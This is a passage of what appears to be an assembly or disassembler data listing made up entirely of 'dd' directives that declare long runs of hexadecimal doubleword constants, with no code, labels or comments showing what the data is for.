		dd 27BEAB00h, 3F8F5524h, 2C4500A5h, 0D3789051h,	0F0C5DC70h
		dd 0F581A31Fh, 5E8075FEh, 0AF208349h, 5100FB22h, 42B1CA6Ch
		dd 1AC887Ah, 9BD15B08h,	0F4E0AABEh, 3601DDB0h, 48BD6769h
		dd 75F053C3h, 0C1745F93h, 4065D76Fh, 2F1E25F4h,	21FC6207h
		dd 0A5F05A54h, 4A2770h,	44871C95h, 65D8B996h, 0ABACEE24h
		dd 0E300B824h, 3419C8CAh, 55301456h, 8901B848h,	2C3C027h
		dd 9B2A30DBh, 0D6EBA512h, 9D7A8490h, 4D570043h,	9A33DB88h
		dd 11729910h, 0FA4C277Ah, 1D007E0Ch, 32DC260Eh,	0BF5DF7h
		dd 51EF9871h, 0F1CD7530h, 0C1A12B0Bh, 50DA008Fh, 247AC40Bh
		dd 1F81085h, 2A79E8E1h,	959CC0F2h, 68094C00h, 0DD038113h
		dd 0A3E80Ch, 0CFB01F51h, 0C6D594B9h, 0FF01D000h, 5254FAA4h
		dd 7F07A02h, 9A97E66Bh,	2AFB8069h, 4A0248AAh, 821462EDh
		dd 71C448A7h, 68787Ch, 26B66CE2h, 8E4BBE67h, 631423FEh
		dd 17A10BA9h, 5050EB96h, 0B4D30014h, 0AAC242D7h, 0B28966Eh
		dd 55803308h, 0F4BB9E2Ah, 1A1302E8h, 0FC404A25h, 0C2C7A749h
		dd 0A2431871h, 0C32280C5h, 0BE462A0Ch, 78B31101h, 963F0629h
		dd 2038A02Bh, 0C066191Ch, 0B8F8908Ch, 0A2C60DE4h, 51505FC8h
		dd 0DCCF01ACh, 4A00F4A7h, 45B904FFh, 36A2D656h,	2940207Fh
		dd 0FF197E01h, 5F095CE3h, 0C40098BEh, 56D7871Dh, 8E78F02Bh
		dd 80EFFE3Ch, 0C6E54913h, 870712Dh, 0E667149Ch,	0D3808038h
		dd 0AA57117Bh, 15FC006Ch, 4DFADB89h, 1A00DC8Ch,	32D23645h
		dd 18BAB9Fh, 94E9B72Eh,	0F06BB259h, 8F004D26h, 75A976A5h
		dd 0F632EA2h, 0F9B5D830h, 23CB3560h, 0A100D410h, 0D05F573Bh
		dd 8C0AA2h, 4E5224F8h, 0A0943093h, 9E3A6800h, 64471EBCh
		dd 71F43865h, 0B69A4F00h, 2333BBAAh, 2F49160Fh,	0E84B677Bh
		dd 0ACD3BF60h, 0F45B0E78h, 35E073F1h, 2CC7EA8Eh, 6C480E00h
		dd 96782907h, 0E490A889h, 32B30495h, 0BD1415BCh, 6476138Ch
		dd 0C222D890h, 319460E1h, 1341046Eh, 57B34301h,	0F5584F56h
		dd 17B060h, 3120F0D5h
		dd 2878C9D9h, 326960Fh,	40A6EF68h, 885F380Ch, 0B8C70553h
		dd 69EEBCBBh, 80E80514h, 0E9F80D90h, 798CD301h,	57DD1C41h
		dd 0E122D443h, 0D0814AD9h, 17F09B7Ch, 2EC1804Fh, 412B6731h
		dd 0C2C60937h, 28039FC9h, 200E9E35h, 80676F8Fh,	4F95227Fh
		dd 15B9123Ch, 0FD7C800Ch, 722A704Eh, 0BF7D88C3h, 0F51D5E00h
		dd 5CA7FF62h, 0C4D1E189h, 750021B8h, 0D737FA5Eh, 0DB0160A9h
		dd 43D35647h, 0A0A14BE4h, 1AC302ACh, 0A00DC6Ch,	77C9C16h
		dd 0D0D39983h, 0A024318Dh, 0C3989D01h, 0DB00C06Ah, 21360F2Dh
		dd 33622A0Bh, 8808030Ah, 12E02107h, 0E240790Fh,	5C52AAC0h
		dd 0B737EAB2h, 0B6A15021h, 0F53A50D0h, 0B3B18009h, 13187CF0h
		dd 3972003Ah, 0BB755E24h, 83E76450h, 0D4A6EB0h,	0EB91B79h
		dd 0C3C2C151h, 1563710h, 0AC06A2B0h, 0A83F4A50h, 6928D871h
		dd 0B400E041h, 0D7A42BD5h, 77B7AE2h, 573491D9h,	411FF033h
		dd 0CB1D9206h, 7E40FF20h, 88C58F8Eh, 48E70018h,	0D5F586BAh
		dd 6800E361h, 7D538408h, 0A7630Dh, 0AD6235CBh, 0E1B7FE29h
		dd 8EC3F039h, 0DA7E1Ah,	9BB1DB23h, 0F75800F9h, 71E6631h
		dd 9C7A5352h, 8100AFFCh, 0C83055D1h, 1D88B365h,	0B85432h
		dd 4FD77014h, 0EE0098CCh, 6B587703h, 0E2CA2D5h,	378F9F65h
		dd 6910D40Ch, 520619DDh, 102F51h, 0B50946C8h, 18C59E19h
		dd 94007671h, 0FBEC0D61h, 13237CF2h, 0BC7481h, 7788DD45h
		dd 0D6004886h, 0C0EE5AA7h, 36BFFAh, 0DF69B141h,	38DA39DCh
		dd 7AAEFD00h, 0E52FF768h, 287B1E0Fh, 0EACE0060h, 438D045Fh
		dd 63BFF500h, 95189F59h, 0BAED000Eh, 0F7347007h, 0C7003949h
		dd 6B41DF93h, 0F8BF5838h, 7EA71CAEh, 3FCC9FFAh,	0E2C1A680h
		dd 31137A8Ah, 0A179CD30h, 0DEE66Ah, 42194018h, 605A83F8h
		dd 0EF3CE400h, 20125005h, 7EAC0038h, 0CCA5D084h, 5C07853Dh
		dd 0D9032C29h, 5BE08ED0h, 87363EA0h, 5311A900h,	777865FDh
		dd 24C61F00h, 0A53A70C1h, 72717Eh, 46029FDAh, 168EC3DCh
		dd 4CD07F07h, 0E290C78Dh, 7D3B0Fh, 0A97363B8h, 42269866h
		dd 22E11C03h, 0E8EF8733h, 4EBC9A8h, 430D284Ah, 1682824Ch
		dd 0DE0EDF40h, 0BD747F0Eh, 3E46E0BAh, 2BFAFDh, 4FF1AC6Dh
		dd 0BBE66291h, 1A70BD18h, 0BB01D38h, 78C287A5h,	0EC4B2D80h
		dd 0FD0ECB3Dh, 404C5A66h, 0A9F85FC9h, 890A1h, 0E32FF66Ah
		dd 54F7AF9h, 32476303h,	90042A0Fh, 0BA57E4h, 97DAB6A2h
		dd 672B5E98h, 9DCDE71Fh, 4B16EC04h, 0B0B900FBh,	89D09E5Ah
		dd 38BC49h, 3DCE37E5h, 78A62E53h, 1F6B00D8h, 6C746554h
		dd 0A70E814Dh, 0C0120FE3h, 6FED0196h, 0FB3D00C8h, 0AD64B9EEh
		dd 4CF267B8h, 0E1063400h, 0D2417D32h, 0A4EE0E29h, 0E64056E2h
		dd 0D78366CFh, 0D3ADAF00h, 351F10ABh, 485001CDh, 811E1537h
		dd 2B68809Ah, 32F02F91h, 46CA00DFh, 2CA9985Eh, 18F2652Eh
		dd 605BA400h, 7DDEACA0h, 2DF0000Ch, 246353F1h, 0AE0AED96h
		dd 9062D83Ch, 58274B00h, 3FB8476h, 757D3A21h, 0F39004A5h
		dd 53004420h, 0B76B6A36h, 90FD138h, 0DE900982h,	62202381h
		dd 15CC45A8h, 0E100D0BFh, 22A4A6BFh, 7400352Eh,	4DE8062Fh
		dd 62551Fh, 0CA9C1513h,	0FA987766h, 0CB079201h,	9AD6866Ah
		dd 373B7C4h, 0E3BE9EC1h, 0A2A0B597h, 0BFE07245h, 0C8A30F28h
		dd 0E6AE3200h, 0E262A847h, 8A7C00F5h, 0E5B24EEEh, 0FA0756F1h
		dd 11CD0783h, 75CC1E80h, 96263EBFh, 41252C00h, 23DC80B9h
		dd 43D12A03h, 0F83D07CBh, 3D6B3C82h, 0FD83709Bh, 846233BAh
		dd 0FEB800ADh, 0DECDCC5Bh, 0A130E90h, 44492BF6h, 0BBBC00E1h
		dd 493B08C6h, 1000497h,	0B429B25Eh, 0BF00510Ah,	701D2C03h
		dd 3D7EC2D5h, 0E2801305h, 68BAF267h, 9100E488h,	0D07CD1F3h
		dd 9995DCh, 0DBC4BB4h, 0F451C6F7h, 0C200EFF0h, 79FF669Bh
		dd 0D80492h, 0CC94FBADh, 0D4146DBFh, 0FEB52709h, 8C140038h
		dd 5FD03Ah, 0EC9A8D75h,	46564858h, 64A5741Eh, 0CA0E815Dh
		dd 11E14CC9h, 0CC44005Eh, 2948F036h, 0D205DC25h, 0FC3C4D5Dh
		dd 0D7E3FBC0h, 539D48F8h, 757F7100h, 952ED548h,	0AE01FF7Dh
		dd 366DC433h, 0C824440Dh, 12D9007Ch, 1105D86Ch,	0E5039D52h
		dd 44981082h, 0A133E0C5h, 965A00E3h, 0F46F4724h, 1704E8C0h
		dd 92E91DABh, 20419980h, 0F7FF2EE0h, 257C00C8h,	0F87AC087h
		dd 7D630E1Eh, 0E91723C0h, 0E2A39299h, 70570A12h, 80D09753h
		dd 9D2F28E7h, 0B80085F4h, 0B2171E0Dh, 0CAA0CFh,	36A2BB9Fh
		dd 29B34295h, 4CE3A800h, 701F2D45h, 4E010F10h, 3C40DAD7h
		dd 2330AA91h, 2A0CFCA8h, 990031EAh, 2DF683B3h, 50CA2CE3h
		dd 0A3BCCB9h, 8834BC7Fh, 993000ACh, 8B691287h, 0DC7A1916h
		dd 0F3735000h, 7810F38h, 0FDBE5329h, 70309CF4h,	0E2C0D600h
		dd 11A4E6Eh, 0A09426DCh, 178A0088h, 0DD751438h,	7A118E03h
		dd 0E89679DEh, 3AE3458Bh, 0D0D0C442h, 2A2E0224h, 989153CDh
		dd 962B9340h, 5CC29C00h, 89E567CCh, 122000F0h, 6B06A622h
		dd 0BB0047B5h, 4837ADBh, 11E763h, 0F936BDBAh, 48C55990h
		dd 0DFADA103h, 88199B3Ah, 4BDCA8h, 72CE6FD1h, 27218A24h
		dd 820ADD00h, 2B420EE5h, 3DCCE025h, 0B000456Ch,	0EC2AB967h
		dd 4700862Fh, 735A0F17h, 937F8Bh, 0C0A3546Eh, 916BEF30h
		dd 8A84EB00h, 0F4F15A31h, 1C1D0097h, 324FCFC1h,	8F77334Dh
		dd 0C5A37C00h, 40F36DDEh, 0EC5407CBh, 0C07E6475h, 0DFEE5EA9h
		dd 8A13B900h, 9E1EE13Ah, 0BDB40402h, 0C16CEBC8h, 24F6F0C4h
		dd 0FD002414h, 36EC5D0Dh, 1D3D6Eh, 0EF8A1906h, 0BBD8A74Fh
		dd 24F7A100h, 7593688Bh, 5932031Fh, 0F0B22EC9h,	8156F9B8h
		dd 7B006F79h, 829CB9C7h, 16D80FE0h, 40A55080h, 559A2524h
		dd 0B0171CB2h, 6440D940h, 76308458h, 47460A31h,	6410B4D0h
		dd 73A918BAh, 0DE390164h, 0A383474h, 0BC63FA48h, 0C0C51CFBh
		dd 0F47E7177h, 0B5074D00h, 4B984363h, 0DAC18DBh, 0C5B251D8h
		dd 19804F3Ch, 42592F46h, 60E2545Ch, 51BD11AAh, 66FA859Fh
		dd 0E038E51Fh, 7FD83547h, 23C055B0h, 63D4E1EFh,	0D7321E2Fh
		dd 8B78478Eh, 0A967C0C5h, 0DB01C939h, 0C2FBCAEh, 927002D7h
		dd 0F37A2Ah, 52B32827h,	449C67F9h, 0DAB90E00h, 0A324EDB5h
		dd 49EB191Dh, 60D2D0FBh, 0DB612106h, 0EAD935C9h, 0C0DB4F8h
		dd 0E5BDF54Fh, 21C08508h, 59EAD1AEh, 42D93ED4h,	77259E00h
		dd 2DC88B37h, 218C5D00h, 0BC9ACBE0h, 0D7D228B0h, 926300A4h
		dd 8F074AB3h, 0F02E5421h, 0A241049Ah, 39C0638Eh, 5E7C0C65h
		dd 0FE994A94h, 0EAD43D8Ch, 92F5B488h, 0AF409F64h, 0E1F3EAECh
		dd 0F88CC700h, 0FB2AA4B9h, 0B830051h, 847F2FCBh, 0A8DD3513h
		dd 53D3D506h, 0C92C0181h, 984663C3h, 80E040C0h,	5E8C618h
		dd 2A00C0B2h, 0A7AD7C0Ah, 4EA697h, 0D11DF4E9h, 0E411D469h
		dd 4077D1C0h, 1C9E7550h, 7953CDFh, 0D028D722h, 2E41C418h
		dd 0F3E7A900h, 852369C5h, 5AB895h, 0DA10350h, 0E3110FCFh
		dd 0C53B8C00h, 0C097C74h, 92223D8Ah, 196F8D00h,	578CDCEh
		dd 17D7B94Ch, 0F21094BBh, 38FF00A9h, 595664F7h,	74ADF007h
		dd 1FD03EDEh, 8071FE9Fh, 8E7E9025h, 0F4EAB926h,	7860A601h
		dd 0F30D3D28h, 0EE9C32CCh, 0E4E50038h, 822799CBh, 3B90E268h
		dd 9800DF77h, 0F23D6B50h, 29F49A17h, 0F704DC1Bh, 2D9BA106h
		dd 0EEF51D10h, 7300FEFEh, 19CFCC38h, 0FB3C9EDDh, 9C920082h
		dd 0F24CE093h, 0C88F415h
		dd 0F33073F7h, 5A00A229h, 8A6E3881h, 0B07769h, 4CB5DD5h
		dd 0B506353Dh, 1692AB00h, 0F90874Ah, 9E05006Ah,	0B3D3270h
		dd 0AB051EC2h, 127BD30Ch, 15187780h, 9FBC0008h,	0AAD15E40h
		dd 9900036Dh, 1B5FFB3Ch, 3D29D4h, 86AC4873h, 0EBD68CE9h
		dd 0B903Fh, 0A9D82A51h,	9F8D07h, 714953C4h, 24464CACh
		dd 45015B00h, 30DF2A65h, 832B0E66h, 0BD2B6705h,	0D2957F01h
		dd 1BF020F1h, 3B002873h, 43197FDDh, 21C0B8h, 6A53AD4h
		dd 15054D30h, 0F7607E12h, 3F488B07h, 0C4CE2FB0h, 0E83C00A8h
		dd 699C269Ah, 0DC0EAECBh, 0C0452D89h, 416D7A0Ah, 0A11E0059h
		dd 4DB5BE57h, 0E7ECF2CDh, 834F7900h, 6E94A78Eh,	82220058h
		dd 0D116C845h, 237A1993h, 0BFDAF800h, 9D508DA1h, 131E1DE3h
		dd 1606C0DBh, 0E7760D6h, 0B2152703h, 0A0F7D129h, 7B8375h
		dd 0BF7FD723h, 2F34E95Fh, 8E7A1224h, 0A540C81Eh, 0CBDB8477h
		dd 2B890331h, 0DC26C576h, 0B0070DE0h, 82F58812h, 42E41C40h
		dd 1F878B2h, 95472F74h,	0E4C90F73h, 0D6006248h,	4E20AAC8h
		dd 7D4559h, 43E27FDCh, 3BEC41A9h, 0EE971400h, 337263F9h
		dd 0F6A30044h, 0D18E2C74h, 71E03A0Ch, 2E83810Eh, 0C9D4801Fh
		dd 0B4A99Eh, 0B810F51Ah, 6F5552C4h, 0D55C20F1h,	959D6300h
		dd 1E016603h, 7BD8A080h, 18980761h, 871FDFB3h, 53B8D060h
		dd 9003341h, 61CFF016h,	1F7836E0h, 5C7AE839h, 6F6C403Ah
		dd 242C4FA1h, 75D0AC00h, 77A42087h, 8F2F0098h, 0B8475142h
		dd 2600A3FEh, 0FD7AAAD4h, 3A4858B5h, 0EF0A05CBh, 943696h
		dd 0FF81477h, 5C602216h, 591ECF99h, 5EF2A0CAh, 0A9D1009Fh
		dd 0FDD51DABh, 9D1D0BBAh, 70000F87h, 0F0EA521Bh, 36E4F9ADh
		dd 0F90400FCh, 0C3EE6D58h, 65001790h, 0B109B4E1h, 90308316h
		dd 4C3B7B84h, 7000BF49h, 0AEE1D0EAh, 0A5298547h, 310BE4A2h
		dd 60028F98h, 2DE3369h,	0ADAC1F7Ch, 62A2CA73h, 0E0CD90ACh
		dd 398BAAh, 0CA9B3D4h, 24C3744Ch, 8330C218h, 183FAC20h
		dd 11847205h, 8E314C87h, 0FB52895h, 2177F980h, 48E85A1Fh
		dd 39A013Bh, 4CB3F042h,	0D33DF84Eh, 43981C83h, 139DC25h
		dd 35EE114Ah, 4FAC4037h, 21F179Fh, 42405DE9h, 535C09D8h
		dd 0F1146F1Ch, 0C1B82DE3h, 67B00CB3h, 30917B7Eh, 20015712h
		dd 0DA7DB342h, 0CAC26D30h, 0BC2F28h, 89515CCCh,	0F000038Bh
		dd 5882BBE9h, 1CAF7A3Ch, 78BAE123h, 9F9CA80Eh, 35B6D420h
		dd 5F00DE66h, 815049A9h, 28297E74h, 803096h, 4A0551F2h
		dd 9F5612C1h, 0B6FE5A00h, 6681158Eh, 0DEC430B2h, 0A44BC381h
		dd 625CD214h, 0D36A80BCh, 987D6Dh, 7E27AF3Eh, 6BD55C68h
		dd 4AFB560Ah, 330A8838h, 84E07CCFh, 26C3787Ch, 80944430h
		dd 5C6449E3h, 3C09FF65h, 7575EF8h, 0E0C08D84h, 0AB7BEE31h
		dd 2533A8D0h, 60991654h, 11404F5h, 0C01CC47Ch, 48F1EC7Ah
		dd 0AE8128DDh, 2C6A670Eh, 9776C8h, 0E330356Fh, 0A9BA578Bh
		dd 0C0DEFE24h, 0BC4A3B00h, 0A1F7FA9Ah, 80F44C28h, 0A1696072h
		dd 0EEE08C42h, 8E91FC01h, 33EC7BCBh, 0F260F3F5h, 35790011h
		dd 0ADF5173Fh, 81754A0Ch, 8E00FEFAh, 721571FAh,	1AB744Bh
		dd 0A6DF48CDh, 0CC7718E5h, 21245B50h, 121CD1DCh, 3EAD0304h
		dd 0E81DA080h, 0EE4D1C15h, 70BCC00Dh, 0BA6F8A2Bh, 0D2F94862h
		dd 6C00167Fh, 82D0B113h, 7661BCh, 1D1459E1h, 0BA8DA471h
		dd 38888C67h, 88B5C260h, 465A0784h, 701C9185h, 0A2F04024h
		dd 0A883BB26h, 0DE6CB080h, 4CED4Dh, 5017512Fh, 676D2126h
		dd 1E103C49h, 3F4EC942h, 7B24417Eh, 9C555C06h, 23611400h
		dd 4389ED8h, 0D3EE3F46h, 48408082h, 9C07F8ABh, 67041C32h
		dd 1EDE1753h, 40236F60h, 756DDFCEh, 0C4767C80h,	0BD58B800h
		dd 0F91455EEh, 35B00085h, 0C6C5E828h, 4C0BD275h, 1C754DEh
		dd 3FE98BA8h, 256848DBh, 0EC992403h, 0F1D00821h, 0AE05782Ah
		dd 0C54D2DF4h, 0E0C3083h, 6BDEA339h, 4F14FE40h,	0A4012293h
		dd 96422378h, 0E8F89A69h, 181A0097h, 0BAEFF953h, 0F660CABEh
		dd 0C1625668h, 31B072h,	979FAF54h, 237DDFA5h, 0FAF3D900h
		dd 0C712561h, 0F6EC45h,	8C9CCAC1h, 0C5D63A28h, 0AF58BC00h
		dd 0E39242D5h, 0FB9A051Fh, 8006D294h, 0A167EB59h, 75223Dh
		dd 6D9B0B93h, 78D151F6h, 317C7Ch, 0CAA3AF02h, 3BF3322Fh
		dd 97633D00h, 4472D7F1h, 613F0295h, 0D44186F7h,	202DB4E9h
		dd 742AEF50h, 0BC02D803h, 81C9F4D7h, 40284A63h,	0E4875Ch
		dd 678F395Fh, 54A9BF47h, 0E240448h, 0C0DBD33Eh,	656806EAh
		dd 0F289FE42h, 7A2E00FBh, 3A7863BBh, 0D27E1E11h, 8F07A700h
		dd 2648E57Fh, 6D851EEFh, 0FD6CC0F9h, 13844A11h,	580B9900h
		dd 930ACAAAh, 5A3400ACh, 6761E048h, 0B6002A6Ch,	0C0D285CBh
		dd 31B8DA8h, 149B5FA4h,	94A30D9Ah, 0B822EBC8h, 6EF83A16h
		dd 0DB091843h, 297DB92Eh, 7D2C2F8h, 63BF1D73h, 5DEC1062h
		dd 309A860Ch, 0C915BB00h, 8E97F0CEh, 0E0030C88h, 0F44821B0h
		dd 9CB2A97Fh, 26279103h, 3F1EBB8h, 5378336Eh, 6FA87388h
		dd 0C02CBCEh, 7FDB2D85h, 4EE84914h, 90E9E7D8h, 87240AACh
		dd 80BC6075h, 522F6DCFh, 9269962h, 3C01181Ch, 265C27F1h
		dd 3D5864h, 3A61F0D6h, 50189F16h, 11F260B7h, 10BD4CF5h
		dd 160E61DDh, 0C8A980F9h, 5EEFB32h, 0CC0594FFh,	79C8A97h
		dd 38D28F3Eh, 6CC080C9h, 15212C23h, 8C371299h, 7D682A02h
		dd 78C04B94h, 988038C6h, 39550C15h, 0E9295DB3h,	656C4007h
		dd 0BDCE0817h, 0C36080FCh, 6EDE2732h, 2FEFEh, 85DC96F6h
		dd 2254E55Eh, 0D3F9A6A0h, 204CABE0h, 76EF0904h,	315F8080h
		dd 5551ED1h, 0D27ABD21h, 0C014844Eh, 7214DCBCh,	28733A2Eh
		dd 4AAFF5D0h, 720C209Bh, 0E1502CFCh, 9C9BF8F0h,	8022BAA6h
		dd 54C3C0FBh, 201090A8h, 8C36E326h, 24827790h, 0E0A02C18h
		dd 0DDD7232Bh, 8B967A3Fh, 1ED08CDCh, 0D47301F8h, 2A28CBD2h
		dd 0EAE88016h, 0D66D5995h, 628330A6h, 320D1C91h, 0D9977003h
		dd 88C14DE0h, 0C066EAD2h, 853E20F8h, 81C04FAFh,	3B893FE5h
		dd 0A0FE0044h, 0C368E33h, 9900EF3Dh, 69CD9211h,	0F0A5C3h
		dd 73FD9ACCh, 0E218972Ch, 0C7EB6800h, 0C4337260h, 0E815008Dh
		dd 0B006599Ch, 2C00AAADh, 0FF86F6DDh, 0F5C6904Ah, 0FA2D9430h
		dd 90855135h, 0B4F0F4F5h, 0F3D1187Eh, 0FC3EC1BBh, 762C5C92h
		dd 2A8014FAh, 11F3E710h, 20450038h, 1A8A3125h, 5861DE3Ch
		dd 0FAE554C8h, 772B0C20h, 0BFDC2620h, 0E1C34724h, 0CC3221B6h
		dd 0BD007B9Ch, 89F226D5h, 0D8B91Eh, 788B806Ah, 0C64CF741h
		dd 81D6A400h, 0D9621DFAh, 36550088h, 0ED547296h, 50232A0h
		dd 0FBBE727h, 0D314688Eh, 4DAD0015h, 0A962BDFAh, 89004519h
		dd 0B3DEA1B1h, 3F6627EEh, 0C5BB02BCh, 0EB0050C8h, 5BB168A7h
		dd 48007E18h, 0C2B63082h, 48649F2Ah, 0BE0130D6h, 0CC5D3B9Dh
		dd 0FD5820DFh, 8B3E5F15h, 0F06D0E94h, 0C073666h, 20496C97h
		dd 0A5FEECA4h, 0E8D40003h, 3A7BEB67h, 0A7170D80h, 0FC0F22BFh
		dd 6A7520ADh, 0F060D646h, 0D2300037h, 5FFB7CDAh, 3F00AAD1h
		dd 2891B5BFh, 0C80BFEh,	89AC852Dh, 0D104A3BBh, 87DCEA01h
		dd 0F3A55CF7h, 0ECDFA440h, 4DD9805Fh, 62A7951Fh, 94809113h
		dd 301593BEh, 9B29651Eh, 0D5001BB0h, 578CBDDEh,	0E266ACEh
		dd 405ECB81h, 0FB4D9E40h, 88F0527Ah, 0E0F14509h, 99C4400Bh
		dd 14731EDCh, 0C5FF41D8h
		dd 0D4359059h, 9B00682Dh, 11808515h, 17124Eh, 0BF076271h
		dd 353791D3h, 0FC53D80Fh, 4965E0C7h, 0E67A0315h, 78BF0030h
		dd 0D8A58A83h, 1B0007FFh, 0EC60DD98h, 0BE1D70h,	24B8BBBAh
		dd 3F9E91F2h, 80343A3Ch, 3889F7D3h, 0D9FE51h, 25267B0Eh
		dd 34EFC36h, 0AD6EE400h, 76513727h, 87195F9Fh, 0D0409717h
		dd 0F4471C8Dh, 6C4E6826h, 7AA06600h, 0BE2B30h, 10127CFBh
		dd 0CFE6C8A5h, 4268EC13h, 7A018300h, 22F7F5Ah, 369364A3h
		dd 766005E1h, 7D00895Dh, 7771826Ah, 210EB4h, 0AF8EDEEh
		dd 5FEB0716h, 4CD30509h, 7E448E35h, 0A3D5BAC0h,	36566Ch
		dd 81CFC30Fh, 1049D177h, 1830D900h, 4D5E1915h, 2D5907Ah
		dd 786EE8F5h, 847871B7h, 0BD34D600h, 0ABB87E80h, 60D903F0h
		dd 63AAD0BFh, 78FB2788h, 3C8C49h, 4B6A0F2Dh, 1D99A7h, 0EF5477C3h
		dd 0CD5EF867h, 12723701h, 0B2463CC4h, 3BA756DCh, 7D8085DFh
		dd 0C6B5E417h, 2048876Dh, 5CBB1EB8h, 6585027Bh,	60DE6869h
		dd 7E467040h, 0C530106h, 0F429DF2Fh, 0DADBE41Eh, 57007378h
		dd 0A621BCE9h, 9474A63h, 7DB21B5Eh, 0BD002862h,	0B0E6E39Dh
		dd 7A1D1709h, 0F44A01Ch, 0F9DBD2h, 38DB89Bh, 6C1A9E18h
		dd 0A02E8703h, 2F4A4h, 49C07028h, 43E2733Ch, 9C00E4B0h
		dd 0CE689212h, 0A23EE7BAh, 3647384h, 527C4070h,	96FD62A8h
		dd 349BEC07h, 0B9D4B0h,	0BDE28658h, 7826010Dh, 3E7DB98Ah
		dd 0C047EC4Ch, 4368CF00h, 676A8FACh, 7E7C7C79h,	0F551038Ch
		dd 6B6C1877h, 3B165E0h,	0F4066101h, 0CA8745CCh,	309E70h
		dd 22791E16h, 0E8849D5Fh, 0DC406626h, 327C4300h, 50078BD6h
		dd 0F6DB45Dh, 0A4DCE91Eh, 0CB88FEA0h, 0E0F11CFh, 0E01A4AD3h
		dd 4167711Ch, 1B99072Bh, 0A0729338h, 53B801EEh,	1AE373Dh
		dd 0F3B6C65Eh, 52FCA994h, 0B6D98CCh, 1FD70C3Dh,	5F403C0Eh
		dd 0FF21F325h, 409FCF00h, 0F9D40FDAh, 16866939h, 10D54087h
		dd 0D64978Eh, 31353D00h, 45032FF7h, 168801E4h, 0CB7B99A2h
		dd 6070F882h, 0A8F4D800h, 0A776CD32h, 4E271D98h, 7CE45DF6h
		dd 64EABC80h, 0F444C284h, 3F63A300h, 0FFA8422Eh, 6C2100D9h
		dd 8129D3C9h, 8A00ED44h, 14CABC27h, 0A0A2E13Dh,	0B680C4C8h
		dd 1308033Ch, 39C0F08Ah, 0F201BEF3h, 932C7CC6h,	0FD7091FAh
		dd 30080332h, 0FE3378C1h, 6BA610B0h, 0D623D300h, 0DC69FD56h
		dd 11800A8h, 0D2575D76h, 0C730B5FAh, 7B9A60FBh,	0CCECF2h
		dd 1133F20h, 911F3E50h,	0F20C56Fh, 0EA0C9E28h, 0F0F81129h
		dd 0FC80085h, 5FAF8F2Eh, 0FDFE76E4h, 581A1E00h,	0BCB5FC5Ch
		dd 11CA00C1h, 0CEE9D275h, 1F06D056h, 1EB96920h,	0A0F40E78h
		dd 34958799h, 6D5BAA00h, 7D67B005h, 1091A728h, 3F291F1Dh
		dd 149401C7h, 7BA4A00Bh, 9EFBDAh, 0FF6167D1h, 542A23Dh
		dd 33EF0802h, 637C55E9h, 1CBBB0AFh, 0D37D003Eh,	18B91AF1h
		dd 6E5DFFB8h, 0EC3C09A0h, 0C4F80178h, 0A18F118Ch, 472009A1h
		dd 4FA04CB2h, 2CC2F500h, 0E448726Dh, 8F10BCD2h,	0BE601562h
		dd 0F12CC629h, 0E9791618h, 1C9A5B9h, 6E433A94h,	8FEADD18h
		dd 0A08FB519h, 0CF0DD0FDh, 0F8120396h, 6BF1D4A5h, 7DB7888h
		dd 8E0424A4h, 73BF15BBh, 0C231A8A1h, 0A8160E3h,	18E8D3ECh
		dd 4CA0DAF8h, 20A1C216h, 6E5B605Ch, 2AFB293Eh, 48C4A080h
		dd 44020D5h, 0D2D388C3h, 0A9DAE603h, 0D87F328Bh, 1C784D0Eh
		dd 0C0509142h, 9BA3E8D0h, 37203B09h, 0DB43009Ah, 0BC1236Bh
		dd 33009150h, 0EAB9101Fh, 0F084959Ch, 6C5D5DE2h, 0C318F307h
		dd 30FF429Bh, 752B4483h, 848C6AA2h, 7D00D4C1h, 6FD251BBh
		dd 66DD8620h, 2125085Fh, 0BB3865E2h, 0BA691C57h, 45F8DA46h
		dd 0E0440351h, 2B8F91E9h, 0E1514C90h, 8B050600h, 60BC13CCh
		dd 942F0FA6h, 19231F87h, 0A018E977h, 3891EBA4h,	0D5AC000Ah
		dd 9CD4EEB6h, 0D002AA8Dh, 974B7EDFh, 7C47C0CEh,	0D5C8015Eh
		dd 0B624B517h, 0F5988A6Fh, 780A814h, 0A29C7FD2h, 0BC3E00F8h
		dd 5C69E1F3h, 8E03C2E5h, 1204A026h, 0DBC0C720h,	5E68CDh
		dd 0B52DC4CFh, 7CC98DD9h, 41919200h, 90DCC765h,	44FF3BB1h
		dd 1F695E83h, 1AA07CF3h, 0E907A72Dh, 0A1EDA093h, 7AA92210h
		dd 0FCEA00DAh, 0C703E8AAh, 431FAEE9h, 8D006C96h, 2472D299h
		dd 71C81959h, 0C4E8C0D3h, 0F5228523h, 16960718h, 577F8E06h
		dd 88BD0013h, 0B90171EBh, 7BF6DB38h, 9850E4DDh,	1F15493h
		dd 0EEE8AEC3h, 0C0EA1A49h, 3515086Eh, 3CCC47F8h, 0F3F680D9h
		dd 0BB168107h, 1C620337h, 9217B99Fh, 87383D80h,	0D009A74h
		dd 0E8CE890Bh, 1F0C9047h, 95DAF2h, 5CA0FFEDh, 0A4A0412Fh
		dd 2C078281h, 97EB10FAh, 0C03EB2C3h, 0A47695h, 47B99096h
		dd 892621A9h, 4D239A0Fh, 0E46FE0FCh, 3E0CCD98h,	5C01869Eh
		dd 0C79206CFh, 18EBE481h, 6C89ED00h, 0FB754CA1h, 10F005Dh
		dd 41D84DBAh, 33337299h, 0A01E18CBh, 7C7FD95Fh,	0F36D03A8h
		dd 4DC4E0CAh, 84A28BC0h, 2028EE6Eh, 9F6AD5FCh, 0D29A0C9Bh
		dd 2218EDA4h, 0A0D9646Dh, 3D0040Ch, 8EE9A38Fh, 0D87F8767h
		dd 97C91E00h, 1805AD90h, 82B40EA1h, 0C70F5DF2h,	9B1FDD20h
		dd 8CA0C489h, 0C8E02B7Ch, 188A9707h, 9F008F27h,	0F5C590h
		dd 3C084725h, 0A1AF5ACCh, 8D4AD60Ah, 180628A2h,	5019A353h
		dd 0E9A8C094h, 0C9973E01h, 0F5A982E4h, 983CC9ABh, 36A9760h
		dd 0ADD2347Ah, 9C931FA1h, 5B1E5904h, 90108914h,	3E83C400h
		dd 0C0769017h, 0CB6ABA0Ch, 145A79A8h, 7C9CED28h, 0C3849F8Ah
		dd 793E9ECCh, 6097480Dh, 0F41FDEF1h, 2C84A884h,	140891C9h
		dd 0A10A865Fh, 1148831Eh, 188FA053h, 6449C198h,	865DFA8Eh
		dd 0D6F8E439h, 0E0917CD6h, 7BA51817h, 12908196h, 0F018EA4Bh
		dd 9C0F31h, 0B5695C1Eh,	0F62A27F8h, 63A459C5h, 1B11C00h
		dd 1856997Eh, 99C73369h, 8118548Dh, 15114B3Ah, 9C7200E3h
